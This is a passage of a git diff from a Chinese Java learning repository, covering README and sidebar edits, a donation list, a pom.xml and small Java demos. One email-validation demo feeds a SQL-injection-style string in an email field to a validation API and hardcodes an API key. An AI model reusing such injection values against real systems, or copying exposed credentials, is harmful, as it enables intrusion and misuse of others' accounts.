目录,里面就是静态资源文件了。 +## 求职面试 -执行 `zip -r dist.zip dist` 压缩为 dist.zip 包,然后上传到服务器的 Nginx 对应的静态资源目录下。再执行 `unzip dist.zip` 解压即可。 +### 八股文 -# 联系作者 +- [Java 精选面试题 34 卷](docs/baguwen/java-basic-34.md) +- [Java 基础(背诵版)](docs/baguwen/java-basic.md) +- [HashMap精选面试题](docs/collection/hashmap-interview.md) +- [Java 并发编程(背诵版)](docs/baguwen/java-thread.md) +- [Java 虚拟机(背诵版)](docs/baguwen/jvm.md) ->- 作者是一名普通普通普通普通三连的 Java 后端开发者,热爱学习,热爱分享 ->- 参加工作以后越来越理解交流和分享的重要性,在不停地汲取营养的同时,也希望帮助到更多的小伙伴们 ->- 二哥的Java进阶之路,不仅是作者自学 Java 以来所有的原创文章和学习资料的大聚合,更是作者向这个世界传播知识的一个窗口。 +### 城市选择 -## 心路历程 +- [北京都有哪些牛逼的互联网公司?](https://mp.weixin.qq.com/s/xlPZfpd89rDq6L-Me80wnw) +- [广州都有哪些牛逼的互联网公司?](https://mp.weixin.qq.com/s/uZQ8p0ytsQFXzt5ppzx6fA) +- [深圳有哪些牛批的互联网公司?](https://mp.weixin.qq.com/s/hBU-eEUq8aN5PWwdZFmC4g) +- [西安有哪些不错的互联网公司?](https://mp.weixin.qq.com/s/s0Ub1CHC9eEi0YrqPrnRog) +- [青岛有牛逼的互联网公司吗?](https://mp.weixin.qq.com/s/8QQvOrkG3Vdjj3GxP1zxBQ) +- [郑州有哪些不错的互联网公司?](https://mp.weixin.qq.com/s/SU9drg2xJKcheIwJ6OSSBQ) +- [苏州有哪些牛逼的互联网公司?](https://mp.weixin.qq.com/s/cnYsZLudFOwv5EKYMsMh0Q) -- [走近作者:个人介绍 Q&A](docs/src/about-the-author/readme.md) -- [我的第一个,10 万(B站视频播放)](docs/src/about-the-author/bzhan-10wan.md) -- [我的第一个,一千万!知乎阅读](docs/src/about-the-author/zhihu-1000wan.md) -- [我的第二个,一千万!CSDN阅读](docs/src/about-the-author/csdn-1000wan.md) -## 联系方式 +# :paw_prints: 联系作者 -### 原创公众号 +- **技术交流群** -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) + 本群的宗旨是给大家提供一个良好的技术学习交流平台,所以杜绝一切广告!
由于微信群人满 100 之后无法加入,请先添加作者微信「qing_geee」(也可以扫描下方的二维码),备注:加群。 + +
+ +
+- **原创公众号** -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 + 本号的slogan:技术文通俗易懂,吹水文风趣幽默。
目前已有近 10 万读者关注,微信搜索「**沉默王二**」(也可以扫描下方的二维码)就可以关注我了。 + +
+ +
-![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) + 回复关键字「**03**」可以下载《Java 程序员进阶之路》专栏的离线 PDF 版本(暗黑版和亮白版)。 -### star趋势图 +- **star 趋势图** + +[![Stargazers over time](https://starchart.cc/itwanger/toBeBetterJavaer.svg)](https://starchart.cc/itwanger/toBeBetterJavaer) + -[![Star History Chart](https://api.star-history.com/svg?repos=itwanger/toBeBetterJavaer&type=Date)](https://star-history.com/#itwanger/toBeBetterJavaer&Date) +# :muscle: 参与贡献 -### 友情链接 +1. 如果你对本项目有任何建议或发现文中内容有误的,欢迎提交 issues 进行指正。 +2. 对于文中我没有涉及到知识点,欢迎提交 PR。 -- [paicoding](https://github.com/itwanger/paicoding),⭐️一款好用又强大的开源社区,附详细教程,包括Java、Spring、MySQL、Redis、微服务&分布式、消息队列、操作系统、计算机网络、数据结构与算法等计算机专业核心知识点。学编程,就上技术派😁。 -- [Hippo4J](https://github.com/acmenlt/dynamic-threadpool),🔥 强大的动态线程池,附带监控报警功能(没有依赖中间件),完全遵循阿里巴巴编码规范。 -- [JavaGuide](https://github.com/Snailclimb/JavaGuide),「Java学习+面试指南」一份涵盖大部分 Java 程序员所需要掌握的核心知识。准备 Java 面试,首选 JavaGuide! -### 捐赠鼓励 +# :gift: Donate -开源不易,如果《二哥的Java进阶之路》对你有些帮助,可以请作者喝杯咖啡,算是对开源做出的一点点鼓励吧! +开源不易,如果《Java 程序员进阶之路》专栏对你有些帮助,可以请二哥喝杯咖啡,算是对开源做出的一点点鼓励吧!
- +
:gift_heart: 感谢大家对我资金的赞赏,每隔一个月会统计一次。 时间|小伙伴|赞赏金额 ---|---|--- -2025-07-02|橘子|4元 -2025-06-28|m*u|10元 -2025-06-15|l*y|5元 -2025-05-28|*航|6元 -2025-05-25|*星|10元 -2025-05-25|*(|6.66元 -2025-05-17|*鋈|4元 -2025-05-10|*庆|1元 -2025-05-08|芋*3|10元 -2025-04-17|*南|10元 -2025-03-31|:*D|4元 -2025-03-26|A*.|6.66元 -2025-02-18|R*.|6.66元 -2025-02-08|*金|5元 -2025-01-17|*蓝|8.88元 -2024-12-30|*甜|2元 -2024-12-26|*阳|1元 -2024-12-18|*。|1.5元 -2024-12-06|E*g|5元 -2024-12-04|*佚|0.88元 -2024-12-02|A*g|6.66元 -2024-11-30|1*0|10元 -2024-11-23|W*Z|11元 -2024-11-17|*旺|2元 -2024-11-16|*年|1元 -2024-11-14|*🤖|10元 -2024-11-13|*光|0.1元 -2024-10-25|*陈|1元 -2024-10-06|*天|10元 -2024-10-04|2*2|20元 -2024-09-25|c*l|1元 -2024-09-14|.*6|1.9元 -2024-08-16|*了|20元 -2024-08-14|*李|0.66元 -2024-08-12|*Z|6.66元 -2024-08-09|*峰|2元 -2024-07-13|*运|20元 -2024-07-01|*风|1元 -2024-06-30|*迷|1元 -2024-06-23|*瓦|1元 -2024-06-17|*芒|5元 -2024-06-13|*啊|9.99元 -2024-06-03|S*d|1元 -2024-05-23|*气|3元 -2024-05-22|w*r|6.6元 -2024-05-01|*笑|0.01元 -2024-04-24|1*0|3元 -2024-04-10|迷*x|21元 -2024-04-08|*青|5元 -2024-04-08|敲不出来的一个符号|1元 -2024-04-07|*i|0.01元 -2024-04-06|*牛|10元 -2024-04-03|Y*T|10元 -2024-04-02|B*E|2元 -2024-03-20|*卡|1元 -2024-03-18|*嘎|6.66元 -2024-03-17|*兴|0.01元 -2024-03-12|*鹏|0.02元 -2024-03-12|y*u|0.01元 -2024-02-29|r*y|6元 -2024-02-23|*~|9.99元 -2024-02-21|从头再来|5元 -2024-02-15|*斗|10元 -2024-02-02|*切|2元 -2024-02-01|*康|9元 -2024-01-31|*康|1元 -2024-01-22|*妙|10元 -2024-01-17|*清|9.9元 -2024-01-12|*奥|5元 -2024-01-04|*👈🏻|1元 -2024-01-03|*|3元 -2024-01-03|Y*o|2元 -2023-12-22|*逗|50元 -2023-11-25|*君|2元 -2023-10-23|*🐻|6.66元 -2023-10-17|*哈|5元 -2023-10-12|0*7|7.77元 -2023-10-03|S*d|0.5元 -2023-09-27|*1|1元 -2023-09-25|L*e|10.24元 -2023-09-19|*人|2元 -2023-09-15|L*D|2元 -2023-09-15|*暖|5元 -2023-09-11|A*B|1元 -2023-08-21|*氏|2元 -2023-08-18|*寻|1元 -2023-08-03|*案|10.24元 -2023-08-02|*,|1元 -2023-07-24|m*l|3元 -2023-07-20|lzy|6元 -2023-07-14|s*!|2元 -2023-07-02|*晴|1元 -2023-06-26|*雨|6.66元 -2023-06-21|*航|6元 -2023-06-21|*狼|3元 -2023-06-19|*定|2元 -2023-06-18|*道|5元 -2023-06-16|* 文|1元 -2023-06-14|G*e|66.6元 -2023-06-07|*.|0.5元 -2023-05-23|*W|5元 -2023-05-19|*飞|6元 -2023-05-10|c*r|1元 -2023-04-26|r*J|10.24元 -2023-04-22|*明|1元 -2023-04-09|* 刀|10元 -2023-04-03|*意|0.02元 -2023--03-17|*昌|8 元 -2023-03-16|~*~|66.6 元 -2023-03-15|*枫|6.6 元 -2023-03-10|十年|1 元 -2023-03-04|*风|5 元 -2023-02-26|一个表情(emoji)|1 元 -2023-02-23|曹*n|5元 -2023-02-11|昵称加载中.|6.6元 -2023-02-09|*明|10元 -2023-02-09|*风|5元 -2023-02-09|*z|3元 -2023-02-09|*夫|10元 -2023-02-08|*宝|5 元 -2023-01-18|*念|0.01元 -2023-01-18|*来|1元 -2023-01-10|*A*t|1元 -2023-01-07|*忠|5元 -2023-12-02|g*g|0.1元 -2022-11-13|*王|5元 -2022-11-10|*车|1元 -2022-11-10|F*k|1元 -2022-11-05|*H|3元 -2022-11-04|*金|0.02元 -2022-11-04|*尘|15元 -2022-11-02|*峰|1元 -2022-10-29|~*~|6元 -2022-10-28|k*k|1元 -2022-10-20|*电|2元 -2022-10-15|*深|5元 -2022-09-30|*君|1元 -2022-09-28|*懂|1元 -2022-09-27|*府|1元 -2022-09-23|*问号(emogji)|5元 -2022-09-23|H*n|1元 -2022-09-23|*a|0.01元 -2022-09-08|*👀|20元 -2022-09-07|丹*1|20元 -2022-08-27|*夹|40元 -2022-07-06|体*P|2元 -2022-07-05|*谦|5元 -2022-06-18|*杰|2元 -2022-06-15|L*c|15元 -2022-06-10|*❤|1元 -2022-06-09|'*'|1元 -2022-06-07|*勇|1元 -2022-06-03|*鸭|1元 -2022-05-12|*烟|10元 -2022-04-25|*思|5元 -2022-04-20|w*n|1元 -2022-04-12|E*e|10 元 -2022-03-19|*风|9.9元 -2022-03-04|袁晓波|99元 -2022-02-17|*色|1元 -2022-02-17|M*y|1元 -2022-01-28|G*R|6.6元 -2022-01-20|*光|50元 -2022-01-14|*浩|1元 -2022-01-01|刚*好|3.6元 -2022-01-01|马*谊|6.6元 +2022-01-01|马伟谊|6.6元 +2022-01-01|刚刚好|3.6元 2021-12-20|t*1|5 元 -2021-10-26|*猫|28 元 +2021-10-26|*鱼|28 元 2021-10-11|*人|28 元 -2021-09-28|*人|1 元 -2021-09-05|N*a|3 元 -2021-09-02|S*n|6.6 元 -2021-08-21|z*s|3 元 -2021-08-20|A*g|10 元 -2021-08-09|*滚|0.1 元 +2021-09-01|S*n|6.6 元 2021-08-02|*秒|1 元 2021-06-13|*7| 28 元 -2021-05-04|*学|169 元 -2021-04-29|p*e|2 元 -2021-04-28|追风筝的神|1 元 - -### 参与贡献 - -1. 如果你对本项目有任何建议或发现文中内容有误的,欢迎提交 issues 进行指正。 -2. 对于文中我没有涉及到知识点,欢迎提交 PR。 - - - +2021-04-29|pebble|2 元 diff --git a/_coverpage.md b/_coverpage.md new file mode 100644 index 0000000000..cbca15debf --- /dev/null +++ b/_coverpage.md @@ -0,0 +1,23 @@ +![logo](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/logo.png) + + +# Java程序员进阶之路 To Be Better Javaer + + +> 🌈 Java 程序员进阶之路,本专栏风趣幽默、通俗易懂,对 Java 爱好者极度友好和舒适😄,内容包括 Java 基础、Java 并发编程、Java 虚拟机、Java 面试题、Java 企业级开发(Git、SSM、Spring Boot)、计算机基础知识(操作系统、计组、计网、数据结构与算法)等核心知识点。如果本专栏为你提供了帮助,请给予支持(star一下,或者推荐给你的朋友)! + +![](https://img.shields.io/badge/version-v1.0.0-green.svg) ![](https://img.shields.io/badge/author-沉默王二-yellow.svg) ![](https://img.shields.io/badge/license-GPL-blue.svg) + + + + 👁️本页总访问次数: + + + | 🧑总访客数: + + +[联系作者](https://mp.weixin.qq.com/s/1_lOGt4Fl6Yy8iVdxWeI5g) +开始阅读 + + + diff --git a/_sidebar.md b/_sidebar.md new file mode 100644 index 0000000000..48a53c65e8 --- /dev/null +++ b/_sidebar.md @@ -0,0 +1,177 @@ +**Maven** + +- [项目构建神器 Maven](docs/maven/maven.md) +- [更快的 Maven 来了!!!性能提升 300%](docs/maven/mvnd.md) + +**Git** + +- [可能是 Git 历史上最伟大的一次代码提交](docs/git/git-qiyuan.md) +- [终于有人把 Git 的数据模型讲清楚了](docs/git/shujujiegou.md) +- [昨晚看完 Linus 第一次提交的 Git 代码后,我失眠了!](docs/git/neibushixian.md) +- [要熟练使用 Git,恐怕要记住这60个命令](docs/git/mingling.md) +- [崩溃!实习生把小组的代码仓库搞得一团糟。。。](docs/git/jibenshiyong.md) +- [信不信,7 张图就能让你把 Git 分支管理拿捏的死死的。。](docs/git/fenzhi.md) +- [豆瓣9.1分!我昨天在挂急诊时啃完了这本书!](docs/git/progit.md) + +**SpringBoot** + +- [一分钟快速搭建 Spring Boot 项目](docs/springboot/initializr.md) +- [基于SpringBoot的CMS系统,拿去开发企业官网真香](https://mp.weixin.qq.com/s/HWTVu7E62VkaH2anQc1J_g) +- [Spring Boot为什么不需要额外安装Tomcat?](docs/springboot/tomcat.md) + +**事故处理** + +- [Log4j2突发重大漏洞](docs/shigu/log4j2.md) +- [重现了一波 Log4j2 核弹级漏洞](https://mp.weixin.qq.com/s/zXzJVxRxMUnoyJs6_NojMQ) +- [生成订单30分钟未支付,则自动取消,该怎么实现?](https://mp.weixin.qq.com/s/J6jb_Dt3C49CIjYBTrN4gQ) +- [西安一码通又崩了背后的技术原因](https://mp.weixin.qq.com/s/TaFohrRetiCKEf7ZKESBaQ) + + +**真香工具** + +- [开源的终端工具Tabby](docs/gongju/tabby.md) +- [一款更适合国人的接口管理工具ApiPost](https://mp.weixin.qq.com/s/ZgkNQsve_vq6Xq0_gnWHCw) +- [EasyPoi实现Excel导入导出](https://mp.weixin.qq.com/s/H2Bwc-7ghcjyaEnKUTQ5Dg) +- [一款更轻量级的虚拟机Multipass!](https://mp.weixin.qq.com/s/gy6dVHvNy495bqov6JOAdA) +- [再见Swagger了,这七款在线文档生成神器真的赞](https://mp.weixin.qq.com/s/tEwVadscpaUI5uR6aiTZkQ) +- [干掉visio,这个画图神器drwa.io真的绝了!!!](https://mp.weixin.qq.com/s/EaGCe4GRG2C-0zuVxWxl5A) + +**开源项目** + +- [云E办、仿网易云音乐](docs/kaiyuan/yuneban-wangyiyunyinyue.md) + +**Java 概述** + +- [什么是 Java](docs/overview/what-is-java.md) +- [Java 发展简史](docs/overview/java-history.md) +- [Java 的优势](docs/overview/java-advantage.md) +- [JDK 和 JRE](docs/overview/jdk-jre.md) +- [安装 Intellij IDEA](docs/overview/idea.md) +- [Hello World](docs/overview/hello-world.md) + + +**Java 基础语法** + +- [基本数据类型](docs/basic-grammar/basic-data-type.md) +- [流程控制](docs/basic-grammar/flow-control.md) +- [运算符](docs/basic-grammar/operator.md) +- [注释](docs/basic-grammar/javadoc.md) + +**面向对象** + +- [对象和类](docs/oo/object-class.md) +- [变量](docs/oo/var.md) +- [方法](docs/oo/method.md) +- [构造方法](docs/oo/construct.md) +- [代码初始化块](docs/oo/code-init.md) +- [抽象类](docs/oo/abstract.md) +- [接口](docs/oo/interface.md) +- [static](docs/oo/static.md) +- [this 和 super](docs/oo/this-super.md) +- [final](docs/oo/final.md) +- [instanceof](docs/oo/instanceof.md) +- [方法重载和方法重写](docs/basic-extra-meal/override-overload.md) +- [值传递和引用传递](docs/basic-extra-meal/pass-by-value.md) +- [不可变对象](docs/basic-extra-meal/immutable.md) +- [可变参数](docs/basic-extra-meal/varables.md) + + +**字符串** + +- [初识String](docs/string/immutable.md) +- [字符串常量池](docs/string/constant-pool.md) +- [String.intern](docs/string/intern.md) +- [比较字符串](docs/string/equals.md) +- [拼接字符串](docs/string/join.md) +- [拆分字符串](docs/string/split.md) + +**数组** + +- [数组](docs/array/array.md) +- [打印数组](docs/array/print.md) + +**集合框架** + +- [初识集合框架](docs/collection/gailan.md) +- [时间复杂度](docs/collection/big-o.md) +- [ArrayList](docs/collection/arraylist.md) +- [泛型](docs/basic-extra-meal/generic.md) +- [LinkedList](docs/collection/linkedlist.md) +- [ArrayList和LinkedList](docs/collection/list-war-1.md) +- [ArrayList和LinkedList第二战](docs/collection/list-war-2.md) +- [Iterator与Iterable](docs/collection/iterator-iterable.md) +- [为什么不要在 foreach 里执行删除操作](docs/collection/fail-fast.md) +- [HashMap 的 hash 原理](docs/collection/hash.md) +- [HashMap 的扩容机制](docs/collection/hashmap-resize.md) +- [HashMap 的加载因子为什么是 0.75](docs/collection/hashmap-loadfactor.md) +- [为什么 HashMap 是线程不安全的?](docs/collection/hashmap-thread-nosafe.md) + + +**异常处理** + +- [异常处理机制](docs/exception/gailan.md) +- [try-catch-finally](docs/exception/try-catch-finally.md) +- [throw 和 throws](docs/exception/throw-throws.md) +- [try-with-resouces](docs/exception/try-with-resouces.md) +- [异常最佳实践](docs/exception/shijian.md) + +**常用工具类** + +- [数组工具类:Arrays](docs/common-tool/arrays.md) +- [集合工具类:Collections](docs/common-tool/collections.md) +- [简化每一行代码工具类:Hutool](docs/common-tool/hutool.md) +- [Guava,拯救垃圾代码,效率提升N倍](docs/common-tool/guava.md) + +**Java IO** + +- [IO 流的分类和概述](docs/io/shangtou.md) + +**入门篇加餐** + +- [Java 中常用的 48 个关键字](docs/basic-extra-meal/48-keywords.md) +- [Java 命名约定](docs/basic-extra-meal/java-naming.md) +- [Java 默认的编码方式 Unicode](docs/basic-extra-meal/java-unicode.md) +- [new Integer(18) 与 Integer.valueOf(18) ](docs/basic-extra-meal/int-cache.md) +- [自动拆箱与自动装箱](docs/basic-extra-meal/box.md) +- [浅拷贝与深拷贝](docs/basic-extra-meal/deep-copy.md) +- [为什么重写 equals 时必须重写 hashCode 方法](docs/basic-extra-meal/equals-hashcode.md) +- [注解](docs/basic-extra-meal/annotation.md) +- [枚举](docs/basic-extra-meal/enum.md) +- [深入理解 Java 中的反射](docs/basic-extra-meal/fanshe.md) +- [Java 不能实现真正泛型的原因](docs/basic-extra-meal/true-generic.md) +- [Java程序在编译期发生了什么](docs/basic-extra-meal/what-happen-when-javac.md) +- [Comparable和Comparator](docs/basic-extra-meal/comparable-omparator.md) + + +**Java 并发编程** + +- [室友打一把王者就学会了多线程](docs/thread/wangzhe-thread.md) + + +**Java 虚拟机** + +- [初识JVM](docs/jvm/what-is-jvm.md) + +**八股文** + +- [Java 精选面试题 34 卷](docs/baguwen/java-basic-34.md) +- [Java 基础(背诵版)](docs/baguwen/java-basic.md) +- [HashMap精选面试题](docs/collection/hashmap-interview.md) +- [Java 并发编程(背诵版)](docs/baguwen/java-thread.md) +- [Java 虚拟机(背诵版)](docs/baguwen/jvm.md) + + +**城市选择** + +- [北京都有哪些牛逼的互联网公司?](https://mp.weixin.qq.com/s/xlPZfpd89rDq6L-Me80wnw) +- [广州都有哪些牛逼的互联网公司?](https://mp.weixin.qq.com/s/uZQ8p0ytsQFXzt5ppzx6fA) +- [深圳有哪些牛批的互联网公司?](https://mp.weixin.qq.com/s/hBU-eEUq8aN5PWwdZFmC4g) +- [西安有哪些不错的互联网公司?](https://mp.weixin.qq.com/s/s0Ub1CHC9eEi0YrqPrnRog) +- [青岛有牛逼的互联网公司吗?](https://mp.weixin.qq.com/s/8QQvOrkG3Vdjj3GxP1zxBQ) +- [郑州有哪些不错的互联网公司?](https://mp.weixin.qq.com/s/SU9drg2xJKcheIwJ6OSSBQ) +- [苏州有哪些牛逼的互联网公司?](https://mp.weixin.qq.com/s/cnYsZLudFOwv5EKYMsMh0Q) + +- **其他:** + +- [公众号](docs/bottom.md) + diff --git a/codes/TechSister/.classpath b/codes/TechSister/.classpath new file mode 100644 index 0000000000..92b9cb8166 --- /dev/null +++ b/codes/TechSister/.classpath @@ -0,0 +1,49 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/codes/TechSister/.gitignore b/codes/TechSister/.gitignore new file mode 100644 index 0000000000..ed5080ba16 --- /dev/null +++ b/codes/TechSister/.gitignore @@ -0,0 +1,5 @@ +*.DS_Store +*.xml +*.iml +target/ +.idea/ \ No newline at end of file diff --git a/codes/TechSister/.project b/codes/TechSister/.project new file mode 100644 index 0000000000..e9b4b37961 --- /dev/null +++ b/codes/TechSister/.project @@ -0,0 +1,34 @@ + + + TechSister + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.m2e.core.maven2Builder + + + + + + org.eclipse.jdt.core.javanature + org.eclipse.m2e.core.maven2Nature + + + + 1630030652833 + + 30 + + org.eclipse.core.resources.regexFilterMatcher + node_modules|.git|__CREATED_BY_JAVA_LANGUAGE_SERVER__ + + + + diff --git a/codes/TechSister/pom.xml b/codes/TechSister/pom.xml new file mode 100644 index 0000000000..fd5f800fea --- /dev/null +++ b/codes/TechSister/pom.xml @@ -0,0 +1,123 @@ + + + 4.0.0 + + com.itwanger + TechSister + 1.0-SNAPSHOT + + + + jitpack.io + https://jitpack.io + + + + + + cn.hutool + hutool-all + 5.4.3 + + + com.shekhargulati + strman + 0.4.0 + + + + com.fasterxml.jackson.core + jackson-databind + 2.10.1 + + + + com.google.code.gson + gson + 2.8.6 + + + + com.alibaba + fastjson + 1.2.70 + + + + com.google.guava + guava + 30.1-jre + + + + + + com.github.Cloudmersive + Cloudmersive.APIClient.Java + v3.54 + + + org.junit.jupiter + junit-jupiter + RELEASE + compile + + + org.apache.httpcomponents.client5 + httpclient5 + 5.1 + + + org.apache.httpcomponents.client5 + httpclient5-fluent + 5.1 + + + com.squareup.okhttp3 + okhttp + 5.0.0-alpha.2 + + + com.dtflys.forest + forest-core + 1.5.1 + + + + javax.xml.bind + jaxb-api + 2.2.11 + + + com.sun.xml.bind + jaxb-core + 2.2.11 + + + com.sun.xml.bind + jaxb-impl + 2.2.11 + + + javax.activation + activation + 1.1.1 + + + + + + + org.apache.maven.plugins + maven-compiler-plugin + 3.8.1 + + 11 + 11 + + + + + \ No newline at end of file diff --git a/codes/TechSister/src/main/java/com/itwanger/alibaba/Singleton.java b/codes/TechSister/src/main/java/com/itwanger/alibaba/Singleton.java new file mode 100644 index 0000000000..d35201ea7e --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/alibaba/Singleton.java @@ -0,0 +1,8 @@ +package com.itwanger.alibaba; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public enum Singleton { + INSTANCE; +} diff --git a/codes/TechSister/src/main/java/com/itwanger/alibaba/Test.java b/codes/TechSister/src/main/java/com/itwanger/alibaba/Test.java new file mode 100644 index 0000000000..55b655411a --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/alibaba/Test.java @@ -0,0 +1,13 @@ +package com.itwanger.alibaba; + +import java.util.ArrayList; +import java.util.List; + +/** + * 微信搜索「沉默王二」,回复 Java + */ +public class Test { + public static void main(String[] args) { + List list = new ArrayList<>(); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/basic/Test.java b/codes/TechSister/src/main/java/com/itwanger/basic/Test.java new file mode 100644 index 0000000000..99f6675021 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/basic/Test.java @@ -0,0 +1,35 @@ +package com.itwanger.basic; + +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Map; +import java.util.Objects; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class Test { + public static void main(String[] args) { + Student s1 = new Student(18, "张三"); + Map scores = new HashMap<>(); + scores.put(s1, 98); + System.out.println(scores.get(new Student(18, "张三"))); + } +} + class Student { + private int age; + private String name; + + public Student(int age, String name) { + this.age = age; + this.name = name; + } + + @Override + public boolean equals(Object o) { + Student student = (Student) o; + return age == student.age && + Objects.equals(name, student.name); + } + + } \ No newline at end of file diff --git a/codes/TechSister/src/main/java/com/itwanger/eighteen/Demo.java b/codes/TechSister/src/main/java/com/itwanger/eighteen/Demo.java new file mode 100644 index 0000000000..6048def30e --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/eighteen/Demo.java @@ -0,0 +1,11 @@ +package com.itwanger.eighteen; + +/** + * 微信搜索「沉默王二」,回复 Java + * + * @author 沉默王二 + * @date 2020/11/26 + */ +public class Demo { + void Demo(){ } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/email/Demo.java b/codes/TechSister/src/main/java/com/itwanger/email/Demo.java new file mode 100644 index 0000000000..7ee5c4bf6a --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/email/Demo.java @@ -0,0 +1,40 @@ +package com.itwanger.email; + + +import com.cloudmersive.client.invoker.ApiClient; +import com.cloudmersive.client.invoker.ApiException; +import com.cloudmersive.client.invoker.Configuration; +import com.cloudmersive.client.EmailApi; +import com.cloudmersive.client.invoker.auth.ApiKeyAuth; +import com.cloudmersive.client.model.AddressGetServersResponse; +import com.cloudmersive.client.model.AddressVerifySyntaxOnlyResponse; +import com.cloudmersive.client.model.FullEmailValidationResponse; + +/** + * 微信搜索「沉默王二」,回复 Java + * + * @author 沉默王二 + * @date 2020/11/25 + */ +public class Demo { + public static void main(String[] args) { + ApiClient defaultClient = Configuration.getDefaultApiClient(); + ApiKeyAuth Apikey = (ApiKeyAuth) defaultClient.getAuthentication("Apikey"); + Apikey.setApiKey("2211cfcf-f65b-41ee-a3c0-1fc3b4eb665f"); + + EmailApi apiInstance = new EmailApi(); +// String value = "98343676@qq.com"; + String value = "“1-’or’1'=’1”@email.com"; + try { +// AddressVerifySyntaxOnlyResponse result = apiInstance.emailPost(value); +// System.out.println(result); + +// AddressGetServersResponse result = apiInstance.emailAddressGetServers(value); + FullEmailValidationResponse result = apiInstance.emailFullValidation(value); + System.out.println(result); + } catch (ApiException e) { + System.err.println("调用 EmailApi#emailPost 的时候出错了"); + e.printStackTrace(); + } + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/fastjson/Test.java b/codes/TechSister/src/main/java/com/itwanger/fastjson/Test.java new file mode 100644 index 0000000000..47a25d8437 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/fastjson/Test.java @@ -0,0 +1,78 @@ +package com.itwanger.fastjson; + +import com.alibaba.fastjson.JSON; +import com.alibaba.fastjson.annotation.JSONField; +import com.alibaba.fastjson.serializer.SerializerFeature; + +import java.util.Date; +import java.util.List; + +/** + * 微信搜索「沉默王二」,回复 Java + * + * @author 沉默王二 + * @date 2020/12/17 + */ +public class Test { + public static void main(String[] args) { +Writer writer = new Writer(); +writer.setAge(18); +writer.setName("沉默王二"); +writer.setBirthday(new Date()); + +String json = JSON.toJSONString(writer); +System.out.println(json); +System.out.println(JSON.toJSONString(writer, SerializerFeature.PrettyFormat, SerializerFeature.UseSingleQuotes)); + + Writer writer1 = JSON.parseObject(json, Writer.class); + System.out.println(writer1); + + List list = JSON.parseArray("[{\"age\":18,\"name\":\"沉默王二\"},{\"age\":19,\"name\":\"沉默王一\"}]", Writer.class); + System.out.println(list); + + + + } +} +class Writer { + private int age; + private String name; + private Date birthday; + + @JSONField(format = "yyyy年MM月dd日") + public Date getBirthday() { + return birthday; + } + + public void setBirthday(Date birthday) { + this.birthday = birthday; + } + + @JSONField(name = "Age") + public int getAge() { + return age; + } + + public void setAge(int age) { + this.age = age; + } + + @JSONField(serialize = false,deserialize = true) + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + +static int add(int ... args) { + int sum = 0; + for ( int a: args) { + sum += a; + } + return sum; +} +} + + diff --git a/codes/TechSister/src/main/java/com/itwanger/five/HelloWorld.java b/codes/TechSister/src/main/java/com/itwanger/five/HelloWorld.java new file mode 100644 index 0000000000..e1ae65056a --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/five/HelloWorld.java @@ -0,0 +1,10 @@ +package com.itwanger.five; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class HelloWorld { + public static void main(String[] args) { + System.out.println("三妹,少看手机少打游戏,好好学,美美哒。"); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/four/HelloWorld.java b/codes/TechSister/src/main/java/com/itwanger/four/HelloWorld.java new file mode 100644 index 0000000000..5aae9af11d --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/four/HelloWorld.java @@ -0,0 +1,10 @@ +package com.itwanger.four; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class HelloWorld { + public static void main(String[] args) { + System.out.println("三妹,少看手机少打游戏,好好学,美美哒。"); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/fourteen/Demo.java b/codes/TechSister/src/main/java/com/itwanger/fourteen/Demo.java new file mode 100644 index 0000000000..e009a62185 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/fourteen/Demo.java @@ -0,0 +1,21 @@ +package com.itwanger.fourteen; + +import java.util.List; + +/** + * 微信搜索「沉默王二」,回复 Java + */ +class Demo { + /** + * 姓名 + */ + private int age; + + /** + * main 方法作为程序的入口 + * + * @param args 参数 + */ + public static void main(String[] args) { + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/fourteen/Test.java b/codes/TechSister/src/main/java/com/itwanger/fourteen/Test.java new file mode 100644 index 0000000000..2cb24d97aa --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/fourteen/Test.java @@ -0,0 +1,10 @@ +package com.itwanger.fourteen; + +/** + * 微信搜索「沉默王二」,回复 Java + * + * @author 沉默王二 + * @date 2020/11/16 + */ +public class Test { +} diff --git a/codes/TechSister/src/main/java/com/itwanger/fourteen/element-list b/codes/TechSister/src/main/java/com/itwanger/fourteen/element-list new file mode 100644 index 0000000000..5cc88728cb --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/fourteen/element-list @@ -0,0 +1 @@ +com.itwanger.fourteen diff --git a/codes/TechSister/src/main/java/com/itwanger/gson/ArbitraryTypes.java b/codes/TechSister/src/main/java/com/itwanger/gson/ArbitraryTypes.java new file mode 100644 index 0000000000..607adcc2ec --- /dev/null +++ 